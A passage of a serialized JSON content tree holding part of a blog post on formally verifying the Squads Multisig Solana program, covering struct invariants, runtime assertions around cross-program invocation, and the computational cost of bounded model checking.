g":216,"props":31674,"children":31675},{"style":6947},[31676],{"type":31,"value":18773},{"type":25,"tag":216,"props":31678,"children":31679},{"style":7369},[31680],{"type":31,"value":31262},{"type":25,"tag":216,"props":31682,"children":31683},{"style":6958},[31684],{"type":31,"value":1844},{"type":25,"tag":216,"props":31686,"children":31687},{"style":6941},[31688],{"type":31,"value":31271},{"type":25,"tag":216,"props":31690,"children":31691},{"style":6958},[31692],{"type":31,"value":10682},{"type":25,"tag":216,"props":31694,"children":31695},{"class":6916,"line":6999},[31696,31701,31706,31711],{"type":25,"tag":216,"props":31697,"children":31698},{"style":6941},[31699],{"type":31,"value":31700},"        _",{"type":25,"tag":216,"props":31702,"children":31703},{"style":6947},[31704],{"type":31,"value":31705}," =>",{"type":25,"tag":216,"props":31707,"children":31708},{"style":7369},[31709],{"type":31,"value":31710}," None",{"type":25,"tag":216,"props":31712,"children":31713},{"style":6958},[31714],{"type":31,"value":7459},{"type":25,"tag":216,"props":31716,"children":31717},{"class":6916,"line":7104},[31718],{"type":25,"tag":216,"props":31719,"children":31720},{"style":6958},[31721],{"type":31,"value":7305},{"type":25,"tag":216,"props":31723,"children":31724},{"class":6916,"line":7210},[31725],{"type":25,"tag":216,"props":31726,"children":31727},{"style":6958},[31728],{"type":31,"value":7868},{"type":25,"tag":38,"props":31730,"children":31731},{},[31732,31734,31739,31741,31746,31748,31753,31755,31760],{"type":31,"value":31733},"So interestingly, a ",{"type":25,"tag":82,"props":31735,"children":31737},{"className":31736},[],[31738],{"type":31,"value":24937},{"type":31,"value":31740}," vec of size 0 ",{"type":25,"tag":64,"props":31742,"children":31743},{},[31744],{"type":31,"value":31745},"is actually",{"type":31,"value":31747}," a sufficient condition to execute ",{"type":25,"tag":82,"props":31749,"children":31751},{"className":31750},[],[31752],{"type":31,"value":29418},{"type":31,"value":31754},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":25,"tag":64,"props":31756,"children":31757},{},[31758],{"type":31,"value":31759},"valid",{"type":31,"value":31761}," multisig, the number of keys should never be zero.",{"type":25,"tag":38,"props":31763,"children":31764},{},[31765,31767,31772],{"type":31,"value":31766},"We can represent this ",{"type":25,"tag":64,"props":31768,"children":31769},{},[31770],{"type":31,"value":31771},"validity",{"type":31,"value":31773}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":25,"tag":206,"props":31775,"children":31777},{"code":31776,"language":6908,"meta":7,"className":6909,"style":7},"#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[31778],{"type":25,"tag":82,"props":31779,"children":31780},{"__ignoreMap":7},[31781,31788,31811,31862,31869],{"type":25,"tag":216,"props":31782,"children":31783},{"class":6916,"line":6917},[31784],{"type":25,"tag":216,"props":31785,"children":31786},{"style":6958},[31787],{"type":31,"value":24732},{"type":25,"tag":216,"props":31789,"children":31790},{"class":6916,"line":6763},[31791,31795,31799,31803,31807],{"type":25,"tag":216,"props":31792,"children":31793},{"style":6958},[31794],{"type":31,"value":28681},{"type":25,"tag":216,"props":31796,"children":31797},{"style":6947},[31798],{"type":31,"value":179},{"type":25,"tag":216,"props":31800,"children":31801},{"style":6958},[31802],{"type":31,"value":25025},{"type":25,"tag":216,"props":31804,"children":31805},{"style":6947},[31806],{"type":31,"value":13894},{"type":25,"tag":216,"props":31808,"children":31809},{"style":6958},[31810],{"type":31,"value":25034},{"type":25,"tag":216,"props":31812,"children":31813},{"class":6916,"line":6772},[31814,31818,31822,31826,31830,31834,31838,31842,31846,31850,31854,31858],{"type":25,"tag":216,"props":31815,"children":31816},{"style":6947},[31817],{"type":31,"value":19573},{"type":25,"tag":216,"props":31819,"children":31820},{"style":6958},[31821],{"type":31,"value":24958},{"type":25,"tag":216,"props":31823,"children":31824},{"style":6947},[31825],{"type":31,"value":179},{"type":25,"tag":216,"props":31827,"children":31828},{"style":6958},[31829],{"type":31,"value":25025},{"type":25,"tag":216,"props":31831,"children":31832},{"style":6930},[31833],{"type":31,"value":12789},{"type":25,"tag":216,"props":31835,"children":31836},{"style":7369},[31837],{"type":31,"value":17682},{"type":25,"tag":216,"props":31839,"children":31840},{"style":6947},[31841],{"type":31,"value":12143},{"type":25,"tag":216,"props":31843,"children":31844},{"style":6958},[31845],{"type":31,"value":17748},{"type":25,"tag":216,"props":31847,"children":31848},{"style":6947},[31849],{"type":31,"value":179},{"type":25,"tag":216,"props":31851,"children":31852},{"style":6958},[31853],{"type":31,"value":24937},{"type":25,"tag":216,"props":31855,"children":31856},{"style":6947},[31857],{"type":31,"value":179},{"type":25,"tag":216,"props":31859,"children":31860},{"style":6958},[31861],{"type":31,"value":25086},{"type":25,"tag":216,"props":31863,"children":31864},{"class":6916,"line":6999},[31865],{"type":25,"tag":216,"props":31866,"children":31867},{"style":6958},[31868],{"type":31,"value":24212},{"type":25,"tag":216,"props":31870,"children":31871},{"class":6916,"line":7104},[31872,31876,31880,31884,31888,31892],{"type":25,"tag":216,"props":31873,"children":31874},{"style":6930},[31875],{"type":31,"value":17641},{"type":25,"tag":216,"props":31877,"children":31878},{"style":6930},[31879],{"type":31,"value":25105},{"type":25,"tag":216,"props":31881,"children":31882},{"style":7369},[31883],{"type":31,"value":25110},{"type":25,"tag":216,"props":31885,"children":31886},{"style":6958},[31887],{"type":31,"value":13536},{"type":25,"tag":216,"props":31889,"children":31890},{"style":6947},[31891],{"type":31,"value":13541},{"type":25,"tag":216,"props":31893,"children":31894},{"style":6958},[31895],{"type":31,"value":13546},{"type":25,"tag":38,"props":31897,"children":31898},{},[31899,31901,31907,31909,31915],{"type":31,"value":31900},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":25,"tag":82,"props":31902,"children":31904},{"className":31903},[],[31905],{"type":31,"value":31906},"keys.len() == 0",{"type":31,"value":31908}," and allows us to prove the biconditional ",{"type":25,"tag":82,"props":31910,"children":31912},{"className":31911},[],[31913],{"type":31,"value":31914},"(keys.len() >= 1) -> (instruction succeeds)",{"type":31,"value":179},{"type":25,"tag":607,"props":31917,"children":31919},{"id":31918},"safety-guarantees",[31920],{"type":31,"value":26724},{"type":25,"tag":38,"props":31922,"children":31923},{},[31924],{"type":31,"value":31925},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":25,"tag":38,"props":31927,"children":31928},{},[31929],{"type":31,"value":31930},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":25,"tag":38,"props":31932,"children":31933},{},[31934,31936,31942],{"type":31,"value":31935},"In the multisig program this happens in the ",{"type":25,"tag":82,"props":31937,"children":31939},{"className":31938},[],[31940],{"type":31,"value":31941},"execute_transaction",{"type":31,"value":31943}," instruction.",{"type":25,"tag":38,"props":31945,"children":31946},{},[31947],{"type":25,"tag":64,"props":31948,"children":31949},{},[31950],{"type":31,"value":31951},"So what do you do?",{"type":25,"tag":38,"props":31953,"children":31954},{},[31955],{"type":31,"value":31956},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":25,"tag":206,"props":31958,"children":31960},{"code":31959,"language":6908,"meta":7,"className":6909,"style":7},"#[derive(Accounts)]\npub MyCtx {\n    #[account(mut)]\n    pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n    pub bad: bool\n}\n\nimpl Acc {\n    pub fn put_into_bad_state() {\n        self.bad = true;\n    }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n    Ok(())\n}\n",[31961],{"type":25,"tag":82,"props":31962,"children":31963},{"__ignoreMap":7},[31964,31979,31995,32010,32051,32058,32065,32072,32089,32105,32126,32133,32140,32156,32176,32204,32211,32218,32225,32233,32286,32312,32319,32348,32372,32407,32414,32425],{"type":25,"tag":216,"props":31965,"children":31966},{"class":6916,"line":6917},[31967,31971,31975],{"type":25,"tag":216,"props":31968,"children":31969},{"style":6958},[31970],{"type":31,"value":26777},{"type":25,"tag":216,"props":31972,"children":31973},{"style":7369},[31974],{"type":31,"value":26782},{"type":25,"tag":216,"props":31976,"children":31977},{"style":6958},[31978],{"type":31,"value":24212},{"type":25,"tag":216,"props":31980,"children":31981},{"class":6916,"line":6763},[31982,31986,31991],{"type":25,"tag":216,"props":31983,"children":31984},{"style":6930},[31985],{"type":31,"value":17641},{"type":25,"tag":216,"props":31987,"children":31988},{"style":7369},[31989],{"type":31,"value":31990}," MyCtx",{"type":25,"tag":216,"props":31992,"children":31993},{"style":6958},[31994],{"type":31,"value":7235},{"type":25,"tag":216,"props":31996,"children":31997},{"class":6916,"line":6772},[31998,32002,32006],{"type":25,"tag":216,"props":31999,"children":32000},{"style":6958},[32001],{"type":31,"value":27069},{"type":25,"tag":216,"props":32003,"children":32004},{"style":6930},[32005],{"type":31,"value":7685},{"type":25,"tag":216,"props":32007,"children":32008},{"style":6958},[32009],{"type":31,"value":24212},{"type":25,"tag":216,"props":32011,"children":32012},{"class":6916,"line":6999},[32013,32017,32022,32026,32030,32034,32038,32042,32047],{"type":25,"tag":216,"props":32014,"children":32015},{"style":6930},[32016],{"type":31,"value":24797},{"type":25,"tag":216,"props":32018,"children":32019},{"style":6941},[32020],{"type":31,"value":32021}," my_account",{"type":25,"tag":216,"props":32023,"children":32024},{"style":6947},[32025],{"type":31,"value":1466},{"type":25,"tag":216,"props":32027,"children":32028},{"style":7369},[32029],{"type":31,"value":27034},{"type":25,"tag":216,"props":32031,"children":32032},{"style":6958},[32033],{"type":31,"value":26862},{"type":25,"tag":216,"props":32035,"children":32036},{"style":7369},[32037],{"type":31,"value":26867},{"type":25,"tag":216,"props":32039,"children":32040},{"style":6958},[32041],{"type":31,"value":7020},{"type":25,"tag":216,"props":32043,"children":32044},{"style":7369},[32045],{"type":31,"value":32046},"Acc",{"type":25,"tag":216,"props":32048,"children":32049},{"style":6958},[32050],{"type":31,"value":9937},{"type":25,"tag":216,"props":32052,"children":32053},{"class":6916,"line":7104},[32054],{"type":25,"tag":216,"props":32055,"children":32056},{"style":6958},[32057],{"type":31,"value":7868},{"type":25,"tag":216,"props":32059,"children":32060},{"class":6916,"line":7210},[32061],{"type":25,"tag":216,"props":32062,"children":32063},{"emptyLinePlaceholder":16},[32064],{"type":31,"value":7636},{"type":25,"tag":216,"props":32066,"children":32067},{"class":6916,"line":7238},[32068],{"type":25,"tag":216,"props":32069,"children":32070},{"style":6958},[32071],{"type":31,"value":24724},{"type":25,"tag":216,"props":32073,"children":32074},{"class":6916,"line":7251},[32075,32080,32084],{"type":25,"tag":216,"props":32076,"children":32077},{"style":6958},[32078],{"type":31,"value":32079},"#[invariant(bad ",{"type":25,"tag":216,"props":32081,"children":32082},{"style":6947},[32083],{"type":31,"value":12522},{"type":25,"tag":216,"props":32085,"children":32086},{"style":6958},[32087],{"type":31,"value":32088}," false)]\n",{"type":25,"tag":216,"props":32090,"children":32091},{"class":6916,"line":7269},[32092,32096,32101],{"type":25,"tag":216,"props":32093,"children":32094},{"style":6930},[32095],{"type":31,"value":13351},{"type":25,"tag":216,"props":32097,"children":32098},{"style":7369},[32099],{"type":31,"value":32100}," Acc",{"type":25,"tag":216,"props":32102,"children":32103},{"style":6958},[32104],{"type":31,"value":7235},{"type":25,"tag":216,"props":32106,"children":32107},{"class":6916,"line":7290},[32108,32112,32117,32121],{"type":25,"tag":216,"props":32109,"children":32110},{"style":6930},[32111],{"type":31,"value":24797},{"type":25,"tag":216,"props":32113,"children":32114},{"style":6941},[32115],{"type":31,"value":32116}," bad",{"type":25,"tag":216,"props":32118,"children":32119},{"style":6947},[32120],{"type":31,"value":1466},{"type":25,"tag":216,"props":32122,"children":32123},{"style":7369},[32124],{"type":31,"value":32125}," bool\n",{"type":25,"tag":216,"props":32127,"children":32128},{"class":6916,"line":7299},[32129],{"type":25,"tag":216,"props":32130,"children":32131},{"style":6958},[32132],{"type":31,"value":7868},{"type":25,"tag":216,"props":32134,"children":32135},{"class":6916,"line":7551},[32136],{"type":25,"tag":216,"props":32137,"children":32138},{"emptyLinePlaceholder":16},[32139],{"type":31,"value":7636},{"type":25,"tag":216,"props":32141,"children":32142},{"class":6916,"line":7568},[32143,32148,32152],{"type":25,"tag":216,"props":32144,"children":32145},{"style":6930},[32146],{"type":31,"value":32147},"impl",{"type":25,"tag":216,"props":32149,"children":32150},{"style":7369},[32151],{"type":31,"value":32100},{"type":25,"tag":216,"props":32153,"children":32154},{"style":6958},[32155],{"type":31,"value":7235},{"type":25,"tag":216,"props":32157,"children":32158},{"class":6916,"line":7585},[32159,32163,32167,32172],{"type":25,"tag":216,"props":32160,"children":32161},{"style":6930},[32162],{"type":31,"value":24797},{"type":25,"tag":216,"props":32164,"children":32165},{"style":6930},[32166],{"type":31,"value":17646},{"type":25,"tag":216,"props":32168,"children":32169},{"style":7041},[32170],{"type":31,"value":32171}," put_into_bad_state",{"type":25,"tag":216,"props":32173,"children":32174},{"style":6958},[32175],{"type":31,"value":19688},{"type":25,"tag":216,"props":32177,"children":32178},{"class":6916,"line":7598},[32179,32183,32187,32192,32196,32200],{"type":25,"tag":216,"props":32180,"children":32181},{"style":6930},[32182],{"type":31,"value":31312},{"type":25,"tag":216,"props":32184,"children":32185},{"style":6947},[32186],{"type":31,"value":179},{"type":25,"tag":216,"props":32188,"children":32189},{"style":6958},[32190],{"type":31,"value":32191},"bad ",{"type":25,"tag":216,"props":32193,"children":32194},{"style":6947},[32195],{"type":31,"value":266},{"type":25,"tag":216,"props":32197,"children":32198},{"style":6930},[32199],{"type":31,"value":16419},{"type":25,"tag":216,"props":32201,"children":32202},{"style":6958},[32203],{"type":31,"value":6961},{"type":25,"tag":216,"props":32205,"children":32206},{"class":6916,"line":7607},[32207],{"type":25,"tag":216,"props":32208,"children":32209},{"style":6958},[32210],{"type":31,"value":7305},{"type":25,"tag":216,"props":32212,"children":32213},{"class":6916,"line":7630},[32214],{"type":25,"tag":216,"props":32215,"children":32216},{"style":6958},[32217],{"type":31,"value":7868},{"type":25,"tag":216,"props":32219,"children":32220},{"class":6916,"line":7639},[32221],{"type":25,"tag":216,"props":32222,"children":32223},{"emptyLinePlaceholder":16},[32224],{"type":31,"value":7636},{"type":25,"tag":216,"props":32226,"children":32227},{"class":6916,"line":7648},[32228],{"type":25,"tag":216,"props":32229,"children":32230},{"style":6921},[32231],{"type":31,"value":32232},"// Instruction handler:\n",{"type":25,"tag":216,"props":32234,"children":32235},{"class":6916,"line":7716},[32236,32240,32245,32249,32253,32257,32261,32265,32270,32274,32278,32282],{"type":25,"tag":216,"props":32237,"children":32238},{"style":6930},[32239],{"type":31,"value":24220},{"type":25,"tag":216,"props":32241,"children":32242},{"style":7041},[32243],{"type":31,"value":32244}," hard_to_verify",{"type":25,"tag":216,"props":32246,"children":32247},{"style":6958},[32248],{"type":31,"value":1844},{"type":25,"tag":216,"props":32250,"children":32251},{"style":6941},[32252],{"type":31,"value":24234},{"type":25,"tag":216,"props":32254,"children":32255},{"style":6947},[32256],{"type":31,"value":1466},{"type":25,"tag":216,"props":32258,"children":32259},{"style":7369},[32260],{"type":31,"value":24243},{"type":25,"tag":216,"props":32262,"children":32263},{"style":6958},[32264],{"type":31,"value":9751},{"type":25,"tag":216,"props":32266,"children":32267},{"style":7369},[32268],{"type":31,"value":32269},"MyCtx",{"type":25,"tag":216,"props":32271,"children":32272},{"style":6958},[32273],{"type":31,"value":24400},{"type":25,"tag":216,"props":32275,"children":32276},{"style":6947},[32277],{"type":31,"value":17708},{"type":25,"tag":216,"props":32279,"children":32280},{"style":7369},[32281],{"type":31,"value":17713},{"type":25,"tag":216,"props":32283,"children":32284},{"style":6958},[32285],{"type":31,"value":24285},{"type":25,"tag":216,"props":32287,"children":32288},{"class":6916,"line":7724},[32289,32294,32298,32302,32307],{"type":25,"tag":216,"props":32290,"children":32291},{"style":7041},[32292],{"type":31,"value":32293},"    invoke_signed",{"type":25,"tag":216,"props":32295,"children":32296},{"style":6958},[32297],{"type":31,"value":1844},{"type":25,"tag":216,"props":32299,"children":32300},{"style":6947},[32301],{"type":31,"value":13541},{"type":25,"tag":216,"props":32303,"children":32304},{"style":6958},[32305],{"type":31,"value":32306},"); ",{"type":25,"tag":216,"props":32308,"children":32309},{"style":6921},[32310],{"type":31,"value":32311},"// Cross-program invocation\n",{"type":25,"tag":216,"props":32313,"children":32314},{"class":6916,"line":7754},[32315],{"type":25,"tag":216,"props":32316,"children":32317},{"emptyLinePlaceholder":16},[32318],{"type":31,"value":7636},{"type":25,"tag":216,"props":32320,"children":32321},{"class":6916,"line":7762},[32322,32326,32331,32335,32339,32343],{"type":25,"tag":216,"props":32323,"children":32324},{"style":6930},[32325],{"type":31,"value":6933},{"type":25,"tag":216,"props":32327,"children":32328},{"style":6941},[32329],{"type":31,"value":32330}," invoke_res",{"type":25,"tag":216,"props":32332,"children":32333},{"style":6947},[32334],{"type":31,"value":6950},{"type":25,"tag":216,"props":32336,"children":32337},{"style":6947},[32338],{"type":31,"value":29251},{"type":25,"tag":216,"props":32340,"children":32341},{"style":6958},[32342],{"type":31,"value":21178},{"type":25,"tag":216,"props":32344,"children":32345},{"style":6921},[32346],{"type":31,"value":32347},"// fetch result of invocation\n",{"type":25,"tag":216,"props":32349,"children":32350},{"class":6916,"line":7794},[32351,32355,32359,32363,32368],{"type":25,"tag":216,"props":32352,"children":32353},{"style":6967},[32354],{"type":31,"value":16229},{"type":25,"tag":216,"props":32356,"children":32357},{"style":6941},[32358],{"type":31,"value":32330},{"type":25,"tag":216,"props":32360,"children":32361},{"style":6947},[32362],{"type":31,"value":7226},{"type":25,"tag":216,"props":32364,"children":32365},{"style":6983},[32366],{"type":31,"value":32367}," 5",{"type":25,"tag":216,"props":32369,"children":32370},{"style":6958},[32371],{"type":31,"value":7235},{"type":25,"tag":216,"props":32373,"children":32374},{"class":6916,"line":7802},[32375,32379,32383,32388,32392,32397,32402],{"type":25,"tag":216,"props":32376,"children":32377},{"style":6941},[32378],{"type":31,"value":30138},{"type":25,"tag":216,"props":32380,"children":32381},{"style":6947},[32382],{"type":31,"value":179},{"type":25,"tag":216,"props":32384,"children":32385},{"style":6958},[32386],{"type":31,"value":32387},"my_account",{"type":25,"tag":216,"props":32389,"children":32390},{"style":6947},[32391],{"type":31,"value":179},{"type":25,"tag":216,"props":32393,"children":32394},{"style":7041},[32395],{"type":31,"value":32396},"put_into_bad_state",{"type":25,"tag":216,"props":32398,"children":32399},{"style":6958},[32400],{"type":31,"value":32401},"(); ",{"type":25,"tag":216,"props":32403,"children":32404},{"style":6921},[32405],{"type":31,"value":32406},"// corrupt our account\n",{"type":25,"tag":216,"props":32408,"children":32409},{"class":6916,"line":7862},[32410],{"type":25,"tag":216,"props":32411,"children":32412},{"style":6958},[32413],{"type":31,"value":7305},{"type":25,"tag":216,"props":32415,"children":32416},{"class":6916,"line":12995},[32417,32421],{"type":25,"tag":216,"props":32418,"children":32419},{"style":7369},[32420],{"type":31,"value":18284},{"type":25,"tag":216,"props":32422,"children":32423},{"style":6958},[32424],{"type":31,"value":18289},{"type":25,"tag":216,"props":32426,"children":32427},{"class":6916,"line":13013},[32428],{"type":25,"tag":216,"props":32429,"children":32430},{"style":6958},[32431],{"type":31,"value":7868},{"type":25,"tag":38,"props":32433,"children":32434},{},[32435,32437,32442],{"type":31,"value":32436},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":25,"tag":82,"props":32438,"children":32440},{"className":32439},[],[32441],{"type":31,"value":32387},{"type":31,"value":32443},") will be maintained as long as the instruction succeeds.",{"type":25,"tag":38,"props":32445,"children":32446},{},[32447],{"type":31,"value":32448},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":25,"tag":38,"props":32450,"children":32451},{},[32452,32454,32459],{"type":31,"value":32453},"However, we can ",{"type":25,"tag":64,"props":32455,"children":32456},{},[32457],{"type":31,"value":32458},"augment",{"type":31,"value":32460}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":25,"tag":38,"props":32462,"children":32463},{},[32464],{"type":31,"value":32465},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":25,"tag":206,"props":32467,"children":32469},{"code":32468,"language":6908,"meta":7,"className":6909,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n\n    // Enforce invariants at runtime\n    assert(ctx.my_account.invariant());\n\n    Ok(())\n}\n",[32470],{"type":25,"tag":82,"props":32471,"children":32472},{"__ignoreMap":7},[32473,32481,32532,32555,32562,32589,32612,32643,32650,32657,32665,32700,32707,32718],{"type":25,"tag":216,"props":32474,"children":32475},{"class":6916,"line":6917},[32476],{"type":25,"tag":216,"props":32477,"children":32478},{"style":6947},[32479],{"type":31,"value":32480},"...\n",{"type":25,"tag":216,"props":32482,"children":32483},{"class":6916,"line":6763},[32484,32488,32492,32496,32500,32504,32508,32512,32516,32520,32524,32528],{"type":25,"tag":216,"props":32485,"children":32486},{"style":6930},[32487],{"type":31,"value":24220},{"type":25,"tag":216,"props":32489,"children":32490},{"style":7041},[32491],{"type":31,"value":32244},{"type":25,"tag":216,"props":32493,"children":32494},{"style":6958},[32495],{"type":31,"value":1844},{"type":25,"tag":216,"props":32497,"children":32498},{"style":6941},[32499],{"type":31,"value":24234},{"type":25,"tag":216,"props":32501,"children":32502},{"style":6947},[32503],{"type":31,"value":1466},{"type":25,"tag":216,"props":32505,"children":32506},{"style":7369},[32507],{"type":31,"value":24243},{"type":25,"tag":216,"props":32509,"children":32510},{"style":6958},[32511],{"type":31,"value":9751},{"type":25,"tag":216,"props":32513,"children":32514},{"style":7369},[32515],{"type":31,"value":32269},{"type":25,"tag":216,"props":32517,"children":32518},{"style":6958},[32519],{"type":31,"value":24400},{"type":25,"tag":216,"props":32521,"children":32522},{"style":6947},[32523],{"type":31,"value":17708},{"type":25,"tag":216,"props":32525,"children":32526},{"style":7369},[32527],{"type":31,"value":17713},{"type":25,"tag":216,"props":32529,"children":32530},{"style":6958},[32531],{"type":31,"value":24285},{"type":25,"tag":216,"props":32533,"children":32534},{"class":6916,"line":6772},[32535,32539,32543,32547,32551],{"type":25,"tag":216,"props":32536,"children":32537},{"style":7041},[32538],{"type":31,"value":32293},{"type":25,"tag":216,"props":32540,"children":32541},{"style":6958},[32542],{"type":31,"value":1844},{"type":25,"tag":216,"props":32544,"children":32545},{"style":6947},[32546],{"type":31,"value":13541},{"type":25,"tag":216,"props":32548,"children":32549},{"style":6958},[32550],{"type":31,"value":32306},{"type":25,"tag":216,"props":32552,"children":32553},{"style":6921},[32554],{"type":31,"value":32311},{"type":25,"tag":216,"props":32556,"children":32557},{"class":6916,"line":6999},[32558],{"type":25,"tag":216,"props":32559,"children":32560},{"emptyLinePlaceholder":16},[32561],{"type":31,"value":7636},{"type":25,"tag":216,"props":32563,"children":32564},{"class":6916,"line":7104},[32565,32569,32573,32577,32581,32585],{"type":25,"tag":216,"props":32566,"children":32567},{"style":6930},[32568],{"type":31,"value":6933},{"type":25,"tag":216,"props":32570,"children":32571},{"style":6941},[32572],{"type":31,"value":32330},{"type":25,"tag":216,"props":32574,"children":32575},{"style":6947},[32576],{"type":31,"value":6950},{"type":25,"tag":216,"props":32578,"children":32579},{"style":6947},[32580],{"type":31,"value":29251},{"type":25,"tag":216,"props":32582,"children":32583},{"style":6958},[32584],{"type":31,"value":21178},{"type":25,"tag":216,"props":32586,"children":32587},{"style":6921},[32588],{"type":31,"value":32347},{"type":25,"tag":216,"props":32590,"children":32591},{"class":6916,"line":7210},[32592,32596,32600,32604,32608],{"type":25,"tag":216,"props":32593,"children":32594},{"style":6967},[32595],{"type":31,"value":16229},{"type":25,"tag":216,"props":32597,"children":32598},{"style":6941},[32599],{"type":31,"value":32330},{"type":25,"tag":216,"props":32601,"children":32602},{"style":6947},[32603],{"type":31,"value":7226},{"type":25,"tag":216,"props":32605,"children":32606},{"style":6983},[32607],{"type":31,"value":32367},{"type":25,"tag":216,"props":32609,"children":32610},{"style":6958},[32611],{"type":31,"value":7235},{"type":25,"tag":216,"props":32613,"children":32614},{"class":6916,"line":7238},[32615,32619,32623,32627,32631,32635,32639],{"type":25,"tag":216,"props":32616,"children":32617},{"style":6941},[32618],{"type":31,"value":30138},{"type":25,"tag":216,"props":32620,"children":32621},{"style":6947},[32622],{"type":31,"value":179},{"type":25,"tag":216,"props":32624,"children":32625},{"style":6958},[32626],{"type":31,"value":32387},{"type":25,"tag":216,"props":32628,"children":32629},{"style":6947},[32630],{"type":31,"value":179},{"type":25,"tag":216,"props":32632,"children":32633},{"style":7041},[32634],{"type":31,"value":32396},{"type":25,"tag":216,"props":32636,"children":32637},{"style":6958},[32638],{"type":31,"value":32401},{"type":25,"tag":216,"props":32640,"children":32641},{"style":6921},[32642],{"type":31,"value":32406},{"type":25,"tag":216,"props":32644,"children":32645},{"class":6916,"line":7251},[32646],{"type":25,"tag":216,"props":32647,"children":32648},{"style":6958},[32649],{"type":31,"value":7305},{"type":25,"tag":216,"props":32651,"children":32652},{"class":6916,"line":7269},[32653],{"type":25,"tag":216,"props":32654,"children":32655},{"emptyLinePlaceholder":16},[32656],{"type":31,"value":7636},{"type":25,"tag":216,"props":32658,"children":32659},{"class":6916,"line":7290},[32660],{"type":25,"tag":216,"props":32661,"children":32662},{"style":6921},[32663],{"type":31,"value":32664},"    // Enforce invariants at runtime\n",{"type":25,"tag":216,"props":32666,"children":32667},{"class":6916,"line":7299},[32668,32672,32676,32680,32684,32688,32692,32696],{"type":25,"tag":216,"props":32669,"children":32670},{"style":7041},[32671],{"type":31,"value":23194},{"type":25,"tag":216,"props":32673,"children":32674},{"style":6958},[32675],{"type":31,"value":1844},{"type":25,"tag":216,"props":32677,"children":32678},{"style":6941},[32679],{"type":31,"value":24234},{"type":25,"tag":216,"props":32681,"children":32682},{"style":6947},[32683],{"type":31,"value":179},{"type":25,"tag":216,"props":32685,"children":32686},{"style":6958},[32687],{"type":31,"value":32387},{"type":25,"tag":216,"props":32689,"children":32690},{"style":6947},[32691],{"type":31,"value":179},{"type":25,"tag":216,"props":32693,"children":32694},{"style":7041},[32695],{"type":31,"value":25719},{"type":25,"tag":216,"props":32697,"children":32698},{"style":6958},[32699],{"type":31,"value":19376},{"type":25,"tag":216,"props":32701,"children":32702},{"class":6916,"line":7551},[32703],{"type":25,"tag":216,"props":32704,"children":32705},{"emptyLinePlaceholder":16},[32706],{"type":31,"value":7636},{"type":25,"tag":216,"props":32708,"children":32709},{"class":6916,"line":7568},[32710,32714],{"type":25,"tag":216,"props":32711,"children":32712},{"style":7369},[32713],{"type":31,"value":18284},{"type":25,"tag":216,"props":32715,"children":32716},{"style":6958},[32717],{"type":31,"value":18289},{"type":25,"tag":216,"props":32719,"children":32720},{"class":6916,"line":7585},[32721],{"type":25,"tag":216,"props":32722,"children":32723},{"style":6958},[32724],{"type":31,"value":7868},{"type":25,"tag":38,"props":32726,"children":32727},{},[32728,32730,32735,32737,32742,32744,32749],{"type":31,"value":32729},"Here, we explicitly ",{"type":25,"tag":82,"props":32731,"children":32733},{"className":32732},[],[32734],{"type":31,"value":23938},{"type":31,"value":32736}," that our invariants hold at ",{"type":25,"tag":64,"props":32738,"children":32739},{},[32740],{"type":31,"value":32741},"runtime",{"type":31,"value":32743}," which allows us to be assured that ",{"type":25,"tag":82,"props":32745,"children":32747},{"className":32746},[],[32748],{"type":31,"value":32387},{"type":31,"value":32750}," will not enter a bad state as a result of some unverifiable behavior.",{"type":25,"tag":38,"props":32752,"children":32753},{},[32754],{"type":31,"value":32755},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":25,"tag":26,"props":32757,"children":32759},{"id":32758},"challenges-of-formal-verification-on-solana",[32760],{"type":31,"value":32761},"Challenges of formal verification on Solana",{"type":25,"tag":607,"props":32763,"children":32765},{"id":32764},"expensive-computation",[32766],{"type":31,"value":32767},"Expensive computation",{"type":25,"tag":38,"props":32769,"children":32770},{},[32771,32773,32778],{"type":31,"value":32772},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":25,"tag":64,"props":32774,"children":32775},{},[32776],{"type":31,"value":32777},"path explosion",{"type":31,"value":32779},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":25,"tag":38,"props":32781,"children":32782},{},[32783,32785,32790],{"type":31,"value":32784},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":25,"tag":64,"props":32786,"children":32787},{},[32788],{"type":31,"value":32789},"formal verification friendly",{"type":31,"value":32791},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":25,"tag":38,"props":32793,"children":32794},{},[32795,32797,32802,32804,32809],{"type":31,"value":32796},"For example, when verifying things like the uniqueness of a ",{"type":25,"tag":82,"props":32798,"children":32800},{"className":32799},[],[32801],{"type":31,"value":25352},{"type":31,"value":32803}," in a ",{"type":25,"tag":82,"props":32805,"children":32807},{"className":32806},[],[32808],{"type":31,"value":900},{"type":31,"value":32810},", the native program may generate 